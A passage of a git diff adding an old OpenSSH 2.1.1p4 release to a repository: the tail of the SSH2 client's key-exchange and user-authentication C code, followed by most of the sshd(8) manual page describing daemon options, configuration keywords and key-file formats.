server_host_key_blob = packet_get_string(&sbloblen); + server_host_key = dsa_key_from_blob(server_host_key_blob, sbloblen); + if (server_host_key == NULL) + fatal("cannot decode server_host_key_blob"); + + check_host_key(host, hostaddr, server_host_key, + options.user_hostfile2, options.system_hostfile2); + + /* DH paramter f, server public DH key */ + dh_server_pub = BN_new(); + if (dh_server_pub == NULL) + fatal("dh_server_pub == NULL"); + packet_get_bignum2(dh_server_pub, &dlen); + +#ifdef DEBUG_KEXDH + fprintf(stderr, "\ndh_server_pub= "); + bignum_print(dh_server_pub); + fprintf(stderr, "\n"); + debug("bits %d", BN_num_bits(dh_server_pub)); +#endif + + /* signed H */ + signature = packet_get_string(&slen); + packet_done(); + + if (!dh_pub_is_valid(dh, dh_server_pub)) + packet_disconnect("bad server public DH value"); + + klen = DH_size(dh); + kbuf = xmalloc(klen); + kout = DH_compute_key(kbuf, dh_server_pub, dh); +#ifdef DEBUG_KEXDH + debug("shared secret: len %d/%d", klen, kout); + fprintf(stderr, "shared secret == "); + for (i = 0; i< kout; i++) + fprintf(stderr, "%02x", (kbuf[i])&0xff); + fprintf(stderr, "\n"); +#endif + shared_secret = BN_new(); + + BN_bin2bn(kbuf, kout, shared_secret); + memset(kbuf, 0, klen); + xfree(kbuf); + + /* calc and verify H */ + hash = kex_hash( + client_version_string, + server_version_string, + buffer_ptr(client_kexinit), buffer_len(client_kexinit), + buffer_ptr(server_kexinit), buffer_len(server_kexinit), + server_host_key_blob, sbloblen, + dh->pub_key, + dh_server_pub, + shared_secret + ); + xfree(server_host_key_blob); + DH_free(dh); +#ifdef DEBUG_KEXDH + fprintf(stderr, "hash == "); + for (i = 0; i< 20; i++) + fprintf(stderr, "%02x", (hash[i])&0xff); + fprintf(stderr, "\n"); +#endif + if (dsa_verify(server_host_key, (unsigned char *)signature, slen, hash, 20) != 1) + fatal("dsa_verify failed for server_host_key"); + key_free(server_host_key); + + kex_derive_keys(kex, hash, shared_secret); + packet_set_kex(kex); + + /* save session id */ + session_id2_len = 20; + session_id2 = xmalloc(session_id2_len); + memcpy(session_id2, hash, session_id2_len); +} + +void +ssh_kex2(char *host, struct sockaddr *hostaddr) +{ + int i, plen; + Kex *kex; + Buffer *client_kexinit, *server_kexinit; + char *sprop[PROPOSAL_MAX]; + + if (options.ciphers != NULL) { + myproposal[PROPOSAL_ENC_ALGS_CTOS] = + myproposal[PROPOSAL_ENC_ALGS_STOC] = options.ciphers; + } else if (options.cipher == SSH_CIPHER_3DES) { + myproposal[PROPOSAL_ENC_ALGS_CTOS] = + myproposal[PROPOSAL_ENC_ALGS_STOC] = + (char *) cipher_name(SSH_CIPHER_3DES_CBC); + } else if (options.cipher == SSH_CIPHER_BLOWFISH) { + myproposal[PROPOSAL_ENC_ALGS_CTOS] = + myproposal[PROPOSAL_ENC_ALGS_STOC] = + (char *) cipher_name(SSH_CIPHER_BLOWFISH_CBC); + } + if (options.compression) { + myproposal[PROPOSAL_COMP_ALGS_CTOS] = "zlib"; + myproposal[PROPOSAL_COMP_ALGS_STOC] = "zlib"; + } else { + myproposal[PROPOSAL_COMP_ALGS_CTOS] = "none"; + myproposal[PROPOSAL_COMP_ALGS_STOC] = "none"; + } + + /* buffers with raw kexinit messages */ + server_kexinit = xmalloc(sizeof(*server_kexinit)); + buffer_init(server_kexinit); + client_kexinit = kex_init(myproposal); + + /* algorithm negotiation */ + kex_exchange_kexinit(client_kexinit, server_kexinit, sprop); + kex = kex_choose_conf(myproposal, sprop, 0); + for (i = 0; i < PROPOSAL_MAX; i++) + xfree(sprop[i]); + + /* server authentication and session key agreement */ + ssh_kex_dh(kex, host, hostaddr, client_kexinit, server_kexinit); + + buffer_free(client_kexinit); + buffer_free(server_kexinit); + xfree(client_kexinit); + xfree(server_kexinit); + + debug("Wait SSH2_MSG_NEWKEYS."); + packet_read_expect(&plen, SSH2_MSG_NEWKEYS); + packet_done(); + debug("GOT SSH2_MSG_NEWKEYS."); + + debug("send SSH2_MSG_NEWKEYS."); + packet_start(SSH2_MSG_NEWKEYS); + packet_send(); + packet_write_wait(); + debug("done: send SSH2_MSG_NEWKEYS."); + +#ifdef DEBUG_KEXDH + /* send 1st encrypted/maced/compressed message */ + packet_start(SSH2_MSG_IGNORE); + packet_put_cstring("markus"); + packet_send(); + packet_write_wait(); +#endif + debug("done: KEX2."); +} + +/* + * Authenticate user + */ +int +ssh2_try_passwd(const char *server_user, const char *host, const char *service) +{ + static int attempt = 0; + char prompt[80]; + char *password; + + if (attempt++ >= options.number_of_password_prompts) + return 0; + + if(attempt != 1) + error("Permission denied, please try again."); + + snprintf(prompt, sizeof(prompt), "%.30s@%.40s's password: ", + server_user, host); + password = read_passphrase(prompt, 0); + packet_start(SSH2_MSG_USERAUTH_REQUEST); + packet_put_cstring(server_user); + packet_put_cstring(service); + packet_put_cstring("password"); + packet_put_char(0); + packet_put_cstring(password); + memset(password, 0, strlen(password)); + xfree(password); + packet_send(); + packet_write_wait(); + return 1; +} + +int +ssh2_try_pubkey(char *filename, + const char *server_user, const char *host, const char *service) +{ + Buffer b; + Key *k; + unsigned char *blob, *signature; + int bloblen, slen; + struct stat st; + int skip = 0; + + if (stat(filename, &st) != 0) { + debug("key does not exist: %s", filename); + return 0; + } + debug("try pubkey: %s", filename); + + k = key_new(KEY_DSA); + if (!load_private_key(filename, "", k, NULL)) { + int success = 0; + char *passphrase; + char prompt[300]; + snprintf(prompt, sizeof prompt, + "Enter passphrase for DSA key '%.100s': ", + filename); + passphrase = read_passphrase(prompt, 0); + success = load_private_key(filename, passphrase, k, NULL); + memset(passphrase, 0, strlen(passphrase)); + xfree(passphrase); + if (!success) { + key_free(k); + return 0; + } + } + dsa_make_key_blob(k, &blob, &bloblen); + + /* data to be signed */ + buffer_init(&b); + if (datafellows & SSH_COMPAT_SESSIONID_ENCODING) { + buffer_put_string(&b, session_id2, session_id2_len); + skip = buffer_len(&b); + } else { + buffer_append(&b, session_id2, session_id2_len); + skip = session_id2_len; + } + buffer_put_char(&b, SSH2_MSG_USERAUTH_REQUEST); + buffer_put_cstring(&b, server_user); + buffer_put_cstring(&b, + datafellows & SSH_BUG_PUBKEYAUTH ? + "ssh-userauth" : + service); + buffer_put_cstring(&b, "publickey"); + buffer_put_char(&b, 1); + buffer_put_cstring(&b, KEX_DSS); + buffer_put_string(&b, blob, bloblen); + + /* generate signature */ + dsa_sign(k, &signature, &slen, buffer_ptr(&b), buffer_len(&b)); + key_free(k); +#ifdef DEBUG_DSS + buffer_dump(&b); +#endif + if (datafellows & SSH_BUG_PUBKEYAUTH) { + buffer_clear(&b); + buffer_append(&b, session_id2, session_id2_len); + buffer_put_char(&b, SSH2_MSG_USERAUTH_REQUEST); + buffer_put_cstring(&b, server_user); + buffer_put_cstring(&b, service); + buffer_put_cstring(&b, "publickey"); + buffer_put_char(&b, 1); + buffer_put_cstring(&b, KEX_DSS); + buffer_put_string(&b, blob, bloblen); + } + xfree(blob); + /* append signature */ + buffer_put_string(&b, signature, slen); + xfree(signature); + + /* skip session id and packet type */ + if (buffer_len(&b) < skip + 1) + fatal("ssh2_try_pubkey: internal error"); + buffer_consume(&b, skip + 1); + + /* put remaining data from buffer into packet */ + packet_start(SSH2_MSG_USERAUTH_REQUEST); + packet_put_raw(buffer_ptr(&b), buffer_len(&b)); + buffer_free(&b); + + /* send */ + packet_send(); + packet_write_wait(); + return 1; +} + +void +ssh_userauth2(const char *server_user, char *host) +{ + int type; + int plen; + int sent; + unsigned int dlen; + int partial; + int i = 0; + char *auths; + char *service = "ssh-connection"; /* service name */ + + debug("send SSH2_MSG_SERVICE_REQUEST"); + packet_start(SSH2_MSG_SERVICE_REQUEST); + packet_put_cstring("ssh-userauth"); + packet_send(); + packet_write_wait(); + + type = packet_read(&plen); + if (type != SSH2_MSG_SERVICE_ACCEPT) { + fatal("denied SSH2_MSG_SERVICE_ACCEPT: %d", type); + } + if (packet_remaining() > 0) { + char *reply = packet_get_string(&plen); + debug("service_accept: %s", reply); + xfree(reply); + } else { + /* payload empty for ssh-2.0.13 ?? */ + debug("buggy server: service_accept w/o service"); + } + packet_done(); + debug("got SSH2_MSG_SERVICE_ACCEPT"); + + /* INITIAL request for auth */ + packet_start(SSH2_MSG_USERAUTH_REQUEST); + packet_put_cstring(server_user); + packet_put_cstring(service); + packet_put_cstring("none"); + packet_send(); + packet_write_wait(); + + for (;;) { + sent = 0; + type = packet_read(&plen); + if (type == SSH2_MSG_USERAUTH_SUCCESS) + break; + if (type != SSH2_MSG_USERAUTH_FAILURE) + fatal("access denied: %d", type); + /* SSH2_MSG_USERAUTH_FAILURE means: try again */ + auths = packet_get_string(&dlen); + debug("authentications that can continue: %s", auths); + partial = packet_get_char(); + packet_done(); + if (partial) + debug("partial success"); + if (options.dsa_authentication && + strstr(auths, "publickey") != NULL) { + while (i < options.num_identity_files2) { + sent = ssh2_try_pubkey( + options.identity_files2[i++], + server_user, host, service); + if (sent) + break; + } + } + if (!sent) { + if (options.password_authentication && + !options.batch_mode && + strstr(auths, "password") != NULL) { + sent = ssh2_try_passwd(server_user, host, service); + } + } + if (!sent) + fatal("Permission denied (%s).", auths); + xfree(auths); + } + packet_done(); + debug("ssh-userauth2 successfull"); +} diff --git a/other/openssh-2.1.1p4/sshd.0 b/other/openssh-2.1.1p4/sshd.0 new file mode 100644 index 0000000..639cdc6 --- /dev/null +++ b/other/openssh-2.1.1p4/sshd.0 @@ -0,0 +1,732 @@ + +SSHD(8) System Manager's Manual SSHD(8) + +NAME + sshd - secure shell daemon + +SYNOPSIS + sshd [-diqQ46] [-b bits] [-f config_file] [-g login_grace_time] [-h + host_key_file] [-k key_gen_time] [-p port] [-V client_protocol_id] + +DESCRIPTION + sshd (Secure Shell Daemon) is the daemon program for ssh(1). Together + these programs replace rlogin and rsh, and provide secure encrypted com- + munications between two untrusted hosts over an insecure network. The + programs are intended to be as easy to install and use as possible. + + sshd is the daemon that listens for connections from clients. It is nor- + mally started at boot from /etc/rc. It forks a new daemon for each incom- + ing connection. The forked daemons handle key exchange, encryption, au- + thentication, command execution, and data exchange. This implementation + of sshd supports both SSH protocol version 1 and 2 simultaneously. sshd + works as follows. + + SSH protocol version 1 + + Each host has a host-specific RSA key (normally 1024 bits) used to iden- + tify the host. Additionally, when the daemon starts, it generates a + server RSA key (normally 768 bits). This key is normally regenerated ev- + ery hour if it has been used, and is never stored on disk. + + Whenever a client connects the daemon responds with its public host and + server keys. The client compares the RSA host key against its own + database to verify that it has not changed. The client then generates a + 256 bit random number. It encrypts this random number using both the + host key and the server key, and sends the encrypted number to the serv- + er. Both sides then use this random number as a session key which is + used to encrypt all further communications in the session. The rest of + the session is encrypted using a conventional cipher, currently Blowfish + or 3DES, with 3DES being used by default. The client selects the encryp- + tion algorithm to use from those offered by the server. + + Next, the server and the client enter an authentication dialog. The + client tries to authenticate itself using .rhosts authentication, .rhosts + authentication combined with RSA host authentication, RSA challenge-re- + sponse authentication, or password based authentication. + + Rhosts authentication is normally disabled because it is fundamentally + insecure, but can be enabled in the server configuration file if desired. + System security is not improved unless rshd(8), rlogind(8), rexecd(8), + and rexd(8) are disabled (thus completely disabling rlogin(1) and rsh(1) + into the machine). + + SSH protocol version 2 + + Version 2 works similar: Each host has a host-specific DSA key used to + identify the host. However, when the daemon starts, it does not generate + a server key. Forward security is provided through a Diffie-Hellman key + agreement. This key agreement results in a shared session key. The rest + of the session is encrypted using a symmetric cipher, currently Blowfish, + 3DES or CAST128 in CBC mode or Arcfour. The client selects the encryp- + tion algorithm to use from those offered by the server. Additionally, + session integrity is provided through a cryptographic message authentica- + tion code (hmac-sha1 or hmac-md5). + + + Protocol version 2 provides a public key based user authentication method + (DSAAuthentication) and conventional password authentication. + + Command execution and data forwarding + + If the client successfully authenticates itself, a dialog for preparing + the session is entered. At this time the client may request things like + allocating a pseudo-tty, forwarding X11 connections, forwarding TCP/IP + connections, or forwarding the authentication agent connection over the + secure channel. + + Finally, the client either requests a shell or execution of a command. + The sides then enter session mode. In this mode, either side may send + data at any time, and such data is forwarded to/from the shell or command + on the server side, and the user terminal in the client side. + + When the user program terminates and all forwarded X11 and other connec- + tions have been closed, the server sends command exit status to the + client, and both sides exit. + + sshd can be configured using command-line options or a configuration + file. Command-line options override values specified in the configura- + tion file. + + sshd rereads its configuration file when it receives a hangup signal, + SIGHUP. + + The options are as follows: + + -b bits + Specifies the number of bits in the server key (default 768). + + -d Debug mode. The server sends verbose debug output to the system + log, and does not put itself in the background. The server also + will not fork and will only process one connection. This option + is only intended for debugging for the server. + + -f configuration_file + Specifies the name of the configuration file. The default is + /etc/sshd_config. sshd refuses to start if there is no configura- + tion file. + + -g login_grace_time + Gives the grace time for clients to authenticate themselves (de- + fault 300 seconds). If the client fails to authenticate the user + within this many seconds, the server disconnects and exits. A + value of zero indicates no limit. + + -h host_key_file + Specifies the file from which the RSA host key is read (default + /etc/ssh_host_key). This option must be given if sshd is not run + as root (as the normal host file is normally not readable by any- + one but root). + + -i Specifies that sshd is being run from inetd. sshd is normally + not run from inetd because it needs to generate the server key + before it can respond to the client, and this may take tens of + seconds. Clients would have to wait too long if the key was re- + generated every time. However, with small key sizes (e.g., 512) + using sshd from inetd may be feasible. + + -k key_gen_time + Specifies how often the server key is regenerated (default 3600 + seconds, or one hour). The motivation for regenerating the key + fairly often is that the key is not stored anywhere, and after + about an hour, it becomes impossible to recover the key for de- + crypting intercepted communications even if the machine is + cracked into or physically seized. A value of zero indicates + that the key will never be regenerated. + + -p port + Specifies the port on which the server listens for connections + (default 22). + + -q Quiet mode. Nothing is sent to the system log. Normally the be- + ginning, authentication, and termination of each connection is + logged. + + -Q Do not print an error message if RSA support is missing. + + -V client_protocol_id + SSH2 compatibility mode. When this option is specified sshd as- + sumes the client has sent the supplied version string and skips + the Protocol Version Identification Exchange. + + -4 Forces sshd to use IPv4 addresses only. + + -6 Forces sshd to use IPv6 addresses only. + +CONFIGURATION FILE + sshd reads configuration data from /etc/sshd_config (or the file speci- + fied with -f on the command line). The file contains keyword-value + pairs, one per line. Lines starting with `#' and empty lines are inter- + preted as comments. + + The following keywords are possible. + + AFSTokenPassing + Specifies whether an AFS token may be forwarded to the server. + Default is ``yes''. + + AllowGroups + This keyword can be followed by a number of group names, separat- + ed by spaces. If specified, login is allowed only for users + whose primary group matches one of the patterns. `*' and `?' can + be used as wildcards in the patterns. Only group names are + valid, a numerical group ID isn't recognized. By default login + is allowed regardless of the primary group. + + AllowUsers + This keyword can be followed by a number of user names, separated + by spaces. If specified, login is allowed only for users names + that match one of the patterns. `*' and `?' can be used as wild- + cards in the patterns. Only user names are valid, a numerical + user ID isn't recognized. By default login is allowed regardless + of the user name. + + Ciphers + Specifies the ciphers allowed for protocol version 2. Multiple + ciphers must be comma-separated. The default is ``3des- + cbc,blowfish-cbc,arcfour,cast128-cbc''. + + CheckMail + Specifies whether sshd should check for new mail for interactive + logins. The default is ``no''. + + DenyGroups + This keyword can be followed by a number of group names, separat- + ed by spaces. Users whose primary group matches one of the pat- + terns aren't allowed to log in. `*' and `?' can be used as wild- + cards in the patterns. Only group names are valid, a numerical + group ID isn't recognized. By default login is allowed regard- + less of the primary group. + + DenyUsers + This keyword can be followed by a number of user names, separated + by spaces. Login is disallowed for user names that match one of + the patterns. `*' and `?' can be used as wildcards in the pat- + terns. Only user names are valid, a numerical user ID isn't rec- + ognized. By default login is allowed regardless of the user + name. + + DSAAuthentication + Specifies whether DSA authentication is allowed. The default is + ``yes''. Note that this option applies to protocol version 2 on- + ly. + + GatewayPorts + Specifies whether remote hosts are allowed to connect to ports + forwarded for the client. The argument must be ``yes'' or + ``no''. The default is ``no''. + + HostDsaKey + Specifies the file containing the private DSA host key (default + /etc/ssh_host_dsa_key) used by SSH protocol 2.0. Note that sshd + disables protocol 2.0 if this file is group/world-accessible. + + HostKey + Specifies the file containing the private RSA host key (default + /etc/ssh_host_key) used by SSH protocols 1.3 and 1.5. Note that + sshd disables protocols 1.3 and 1.5 if this file is group/world- + accessible. + + IgnoreRhosts + Specifies that .rhosts and .shosts files will not be used in au- + thentication. /etc/hosts.equiv and /etc/shosts.equiv are still + used. The default is ``yes''. + + IgnoreUserKnownHosts + Specifies whether sshd should ignore the user's + $HOME/.ssh/known_hosts during RhostsRSAAuthentication. The de- + fault is ``no''. + + KeepAlive + Specifies whether the system should send keepalive messages to + the other side. If they are sent, death of the connection or + crash of one of the machines will be properly noticed. However, + this means that connections will die if the route is down tem- + porarily, and some people find it annoying. On the other hand, + if keepalives are not sent, sessions may hang indefinitely on the + server, leaving ``ghost'' users and consuming server resources. + + The default is ``yes'' (to send keepalives), and the server will + notice if the network goes down or the client host reboots. This + avoids infinitely hanging sessions. + + To disable keepalives, the value should be set to ``no'' in both + the server and the client configuration files. + + KerberosAuthentication + Specifies whether Kerberos authentication is allowed. This can + be in the form of a Kerberos ticket, or if PasswordAuthentication + is yes, the password provided by the user will be validated + through the Kerberos KDC. Default is ``yes''. + + KerberosOrLocalPasswd + If set then if password authentication through Kerberos fails + then the password will be validated via any additional local + + mechanism such as /etc/passwd or SecurID. Default is ``yes''. + + KerberosTgtPassing + Specifies whether a Kerberos TGT may be forwarded to the server. + Default is ``no'', as this only works when the Kerberos KDC is + actually an AFS kaserver. + + KerberosTicketCleanup + Specifies whether to automatically destroy the user's ticket + cache file on logout. Default is ``yes''. + + KeyRegenerationInterval + The server key is automatically regenerated after this many sec- + onds (if it has been used). The purpose of regeneration is to + prevent decrypting captured sessions by later breaking into the + machine and stealing the keys. The key is never stored anywhere. + If the value is 0, the key is never regenerated. The default is + 3600 (seconds). + + ListenAddress + Specifies what local address sshd should listen on. The default + is to listen to all local addresses. Multiple options of this + type are permitted. Additionally, the Ports options must precede + this option. + + LoginGraceTime + The server disconnects after this time if the user has not suc- + cessfully logged in. If the value is 0, there is no time limit. + The default is 600 (seconds). + + LogLevel + Gives the verbosity level that is used when logging messages from + sshd. The possible values are: QUIET, FATAL, ERROR, INFO, VERBOSE + and DEBUG. The default is INFO. Logging with level DEBUG vio- + lates the privacy of users and is not recommended. + + MaxStartups + Specifies the maximum number of concurrent unauthenticated con- + nections to the sshd daemon. Additional connections will be + dropped until authentication succeeds or the LoginGraceTime ex- + pires for a connection. The default is 10. + + PasswordAuthentication + Specifies whether password authentication is allowed. The de- + fault is ``yes''. Note that this option applies to both protocol + version 1 and 2. + + PermitEmptyPasswords + When password authentication is allowed, it specifies whether the + server allows login to accounts with empty password strings. The + default is ``no''. + + PermitRootLogin + Specifies whether the root can log in using ssh(1). The argument + must be ``yes'', ``without-password'' or ``no''. The default is + ``yes''. If this options is set to ``without-password'' only + password authentication is disabled for root. + + Root login with RSA authentication when the command option has + been specified will be allowed regardless of the value of this + setting (which may be useful for taking remote backups even if + root login is normally not allowed). + + PidFile + Specifies the file that contains the process identifier of the + + sshd daemon. The default is /var/run/sshd.pid. + + Port Specifies the port number that sshd listens on. The default is + 22. Multiple options of this type are permitted. + + PrintMotd + Specifies whether sshd should print /etc/motd when a user logs in + interactively. (On some systems it is also printed by the shell, + /etc/profile, or equivalent.) The default is ``yes''. + + Protocol + Specifies the protocol versions sshd should support. The possi- + ble values are ``1'' and ``2''. Multiple versions must be comma- + separated. The default is ``1''. + + RandomSeed + Obsolete. Random number generation uses other techniques. + + RhostsAuthentication + Specifies whether authentication using rhosts or /etc/hosts.equiv + files is sufficient. Normally, this method should not be permit- + ted because it is insecure. RhostsRSAAuthentication should be + used instead, because it performs RSA-based host authentication + in addition to normal rhosts or /etc/hosts.equiv authentication. + The default is ``no''. + + RhostsRSAAuthentication + Specifies whether rhosts or /etc/hosts.equiv authentication to- + gether with successful RSA host authentication is allowed. The + default is ``no''. + + RSAAuthentication + Specifies whether pure RSA authentication is allowed. The de- + fault is ``yes''. Note that this option applies to protocol ver- + sion 1 only. + + ServerKeyBits + Defines the number of bits in the server key. The minimum value + is 512, and the default is 768. + + SkeyAuthentication + Specifies whether skey(1) authentication is allowed. The default + is ``yes''. Note that s/key authentication is enabled only if + PasswordAuthentication is allowed, too. + + StrictModes + Specifies whether sshd should check file modes and ownership of + the user's files and home directory before accepting login. This + is normally desirable because novices sometimes accidentally + leave their directory or files world-writable. The default is + ``yes''. + + Subsystem + Configures an external subsystem (e.g. file transfer daemon). + Arguments should be a subsystem name and a command to execute up- + on subsystem request. By default no subsystems are defined. + Note that this option applies to protocol version 2 only. + + SyslogFacility + Gives the facility code that is used when logging messages from + sshd. The possible values are: DAEMON, USER, AUTH, LOCAL0, LO- + CAL1, LOCAL2, LOCAL3, LOCAL4, LOCAL5, LOCAL6, LOCAL7. The de- + fault is AUTH. + + UseLogin + Specifies whether login(1) is used for interactive login ses- + sions. Note that login(1) is not never for remote command execu- + tion. The default is ``no''. + + X11DisplayOffset + Specifies the first display number available for sshd's X11 for- + warding. This prevents sshd from interfering with real X11 + servers. The default is 10. + + X11Forwarding + Specifies whether X11 forwarding is permitted. The default is + ``no''. Note that disabling X11 forwarding does not improve secu- + rity in any way, as users can always install their own for- + warders. + + XAuthLocation + Specifies the location of the xauth(1) program. The default is + /usr/X11R6/bin/xauth. + +LOGIN PROCESS + When a user successfully logs in, sshd does the following: + + 1. If the login is on a tty, and no command has been specified, + prints last login time and /etc/motd (unless prevented in the + configuration file or by $HOME/.hushlogin; see the FILES sec- + tion). + + 2. If the login is on a tty, records login time. + + 3. Checks /etc/nologin; if it exists, prints contents and quits + (unless root). + + 4. Changes to run with normal user privileges. + + 5. Sets up basic environment. + + 6. Reads $HOME/.ssh/environment if it exists. + + 7. Changes to user's home directory. + + 8. If $HOME/.ssh/rc exists, runs it; else if /etc/sshrc exists, + runs it; otherwise runs xauth. The ``rc'' files are given the + X11 authentication protocol and cookie in standard input. + + 9. Runs user's shell or command. + +AUTHORIZED_KEYS FILE FORMAT + The $HOME/.ssh/authorized_keys file lists the RSA keys that are permitted + for RSA authentication in SSH protocols 1.3 and 1.5 Similarly, the + $HOME/.ssh/authorized_keys2 file lists the DSA keys that are permitted + for DSA authentication in SSH protocol 2.0. Each line of the file con- + tains one key (empty lines and lines starting with a `#' are ignored as + comments). Each line consists of the following fields, separated by + spaces: options, bits, exponent, modulus, comment. The options field is + optional; its presence is determined by whether the line starts with a + number or not (the option field never starts with a number). The bits, + exponent, modulus and comment fields give the RSA key; the comment field + is not used for anything (but may be convenient for the user to identify + the key). + + Note that lines in this file are usually several hundred bytes long (be- + cause of the size of the RSA key modulus). You don't want to type them + in; instead, copy the identity.pub file and edit it. + + The options (if present) consists of comma-separated option specifica- + tions. No spaces are permitted, except within double quotes. The fol- + + lowing option specifications are supported: + + from="pattern-list" + Specifies that in addition to RSA authentication, the canonical + name of the remote host must be present in the comma-separated + list of patterns (`*' and `?' serve as wildcards). The list may + also contain patterns negated by prefixing them with `!'; if the + canonical host name matches a negated pattern, the key is not ac- + cepted. The purpose of this option is to optionally increase se- + curity: RSA authentication by itself does not trust the network + or name servers or anything (but the key); however, if somebody + somehow steals the key, the key permits an intruder to log in + from anywhere in the world. This additional option makes using a + stolen key more difficult (name servers and/or routers would have + to be compromised in addition to just the key). + + command="command" + Specifies that the command is executed whenever this key is used + for authentication. The command supplied by the user (if any) is + ignored. The command is run on a pty if the connection requests + a pty; otherwise it is run without a tty. A quote may be includ- + ed in the command by quoting it with a backslash. This option + might be useful to restrict certain RSA keys to perform just a + specific operation. An example might be a key that permits re- + mote backups but nothing else. Note that the client may specify + TCP/IP and/or X11 forwarding unless they are explicitly prohibit- + ed. + + environment="NAME=value" + Specifies that the string is to be added to the environment when + logging in using this key. Environment variables set this way + override other default environment values. Multiple options of + this type are permitted. + + no-port-forwarding + Forbids TCP/IP forwarding when this key is used for authentica- + tion. Any port forward requests by the client will return an er- + ror. This might be used, e.g., in connection with the command + option. + + no-X11-forwarding + Forbids X11 forwarding when this key is used for authentication. + Any X11 forward requests by the client will return an error. + + no-agent-forwarding + Forbids authentication agent forwarding when this key is used for + authentication. + + no-pty Prevents tty allocation (a request to allocate a pty will fail). + + Examples + 1024 33 12121...312314325 ylo@foo.bar + + from="*.niksula.hut.fi,!pc.niksula.hut.fi" 1024 35 23...2334 ylo@niksula + + command="dump /home",no-pty,no-port-forwarding 1024 33 23...2323 back- + up.hut.fi + +SSH_KNOWN_HOSTS FILE FORMAT + The /etc/ssh_known_hosts, /etc/ssh_known_hosts2, $HOME/.ssh/known_hosts, + and $HOME/.ssh/known_hosts2 files contain host public keys for all known + hosts. The global file should be prepared by the administrator (option- + al), and the per-user file is maintained automatically: whenever the user + connects an unknown host its key is added to the per-user file. + + + Each line in these files contains the following fields: hostnames, bits, + exponent, modulus, comment. The fields are separated by spaces. + + Hostnames is a comma-separated list of patterns ('*' and '?' act as wild- + cards); each pattern in turn is matched against the canonical host name + (when authenticating a client) or against the user-supplied name (when + authenticating a server). A pattern may also be preceded by `!' to indi- + cate negation: if the host name matches a negated pattern, it is not ac- + cepted (by that line) even if it matched another pattern on the line. + + Bits, exponent, and modulus are taken directly from the RSA host key; + they can be obtained, e.g., from /etc/ssh_host_key.pub. The optional com- + ment field continues to the end of the line, and is not used. + + Lines starting with `#' and empty lines are ignored as comments. + + When performing host authentication, authentication is accepted if any + matching line has the proper key. It is thus permissible (but not recom- + mended) to have several lines or different host keys for the same names. + This will inevitably happen when short forms of host names from different + domains are put in the file. It is possible that the files contain con- + flicting information; authentication is accepted if valid information can + be found from either file. + + Note that the lines in these files are typically hundreds of characters + long, and you definitely don't want to type in the host keys by hand. + Rather, generate them by a script or by taking /etc/ssh_host_key.pub and + adding the host names at the front. + + Examples + closenet,closenet.hut.fi,...,130.233.208.41 1024 37 159...93 + closenet.hut.fi + +FILES + /etc/sshd_config + Contains configuration data for sshd. This file should be + writable by root only, but it is recommended (though not neces- + sary) that it be world-readable. + + /etc/ssh_host_key + Contains the private part of the host key. This file should only + be owned by root, readable only by root, and not accessible to + others. Note that sshd does not start if this file is + group/world-accessible. + + /etc/ssh_host_key.pub + Contains the public part of the host key. This file should be + world-readable but writable only by root. Its contents should + match the private part. This file is not really used for any- + thing; it is only provided for the convenience of the user so its + contents can be copied to known hosts files. These two files are + created using ssh-keygen(1). + + /var/run/sshd.pid + Contains the process ID of the sshd listening for connections (if + there are several daemons running concurrently for different + ports, this contains the pid of the one started last). The con- + tents of this file are not sensitive; it can be world-readable. + + $HOME/.ssh/authorized_keys + Lists the RSA keys that can be used to log into the user's ac- + count. This file must be readable by root (which may on some ma- + chines imply it being world-readable if the user's home directory + resides on an NFS volume). It is recommended that it not be ac- + cessible by others. The format of this file is described above. + Users will place the contents of their identity.pub files into + this file, as described in ssh-keygen(1). + + $HOME/.ssh/authorized_keys2 + Lists the DSA keys that can be used to log into the user's ac- + count. This file must be readable by root (which may on some ma- + chines imply it being world-readable if the user's home directory + resides on an NFS volume). It is recommended that it not be ac- + cessible by others. The format of this file is described above. + Users will place the contents of their id_dsa.pub files into this + file, as described in ssh-keygen(1). + + /etc/ssh_known_hosts and $HOME/.ssh/known_hosts + These files are consulted when using rhosts with RSA host authen- + tication to check the public key of the host. The key must be + listed in one of these files to be accepted. The client uses the + same files to verify that the remote host is the one we intended + to connect. These files should be writable only by root/the own- + er. /etc/ssh_known_hosts should be world-readable, and + $HOME/.ssh/known_hosts can but need not be world-readable. + + /etc/nologin + If this file exists, sshd refuses to let anyone except root log + in. The contents of the file are displayed to anyone trying to + log in, and non-root connections are refused. The file should be + world-readable. + + /etc/hosts.allow, /etc/hosts.deny + If compiled with LIBWRAP support, tcp-wrappers access controls + may be defined here as described in hosts_access(5). + + $HOME/.rhosts + This file contains host-username pairs, separated by a space, one + per line. The given user on the corresponding host is permitted + to log in without password. The same file is used by rlogind and + rshd. The file must be writable only by the user; it is recom- + mended that it not be accessible by others. + + If is also possible to use netgroups in the file. Either host or + user name may be of the form +@groupname to specify all hosts or + all users in the group. + + $HOME/.shosts + For ssh, this file is exactly the same as for .rhosts. However, + this file is not used by rlogin and rshd, so using this permits + access using SSH only. /etc/hosts.equiv This file is used during + .rhosts authentication. In the simplest form, this file contains + host names, one per line. Users on those hosts are permitted to + log in without a password, provided they have the same user name + on both machines. The host name may also be followed by a user + name; such users are permitted to log in as any user on this ma- + chine (except root). Additionally, the syntax ``+@group'' can be + used to specify netgroups. Negated entries start with `-'. + + If the client host/user is successfully matched in this file, lo- + gin is automatically permitted provided the client and server us- + er names are the same. Additionally, successful RSA host authen- + tication is normally required. This file must be writable only + by root; it is recommended that it be world-readable. + + Warning: It is almost never a good idea to use user names in + hosts.equiv. Beware that it really means that the named user(s) + can log in as anybody, which includes bin, daemon, adm, and other + accounts that own critical binaries and directories. Using a us- + er name practically grants the user root access. The only valid + use for user names that I can think of is in negative entries. + + Note that this warning also applies to rsh/rlogin. + + /etc/shosts.equiv + This is processed exactly as /etc/hosts.equiv. However, this file + may be useful in environments that want to run both rsh/rlogin + and ssh. + + $HOME/.ssh/environment + This file is read into the environment at login (if it exists). + It can only contain empty lines, comment lines (that start with + `#'), and assignment lines of the form name=value. The file + should be writable only by the user; it need not be readable by + anyone else. + + $HOME/.ssh/rc + If this file exists, it is run with /bin/sh after reading the en- + vironment files but before starting the user's shell or command. + If X11 spoofing is in use, this will receive the "proto cookie" + pair in standard input (and DISPLAY in environment). This must + call xauth(1) in that case. + + The primary purpose of this file is to run any initialization + routines which may be needed before the user's home directory be- + comes accessible; AFS is a particular example of such an environ- + ment. + + This file will probably contain some initialization code followed + by something similar to: "if read proto cookie; then echo add + $DISPLAY $proto $cookie | xauth -q -; fi". + + If this file does not exist, /etc/sshrc is run, and if that does + not exist either, xauth is used to store the cookie. + + This file should be writable only by the user, and need not be + readable by anyone else. + + /etc/sshrc + Like $HOME/.ssh/rc. This can be used to specify 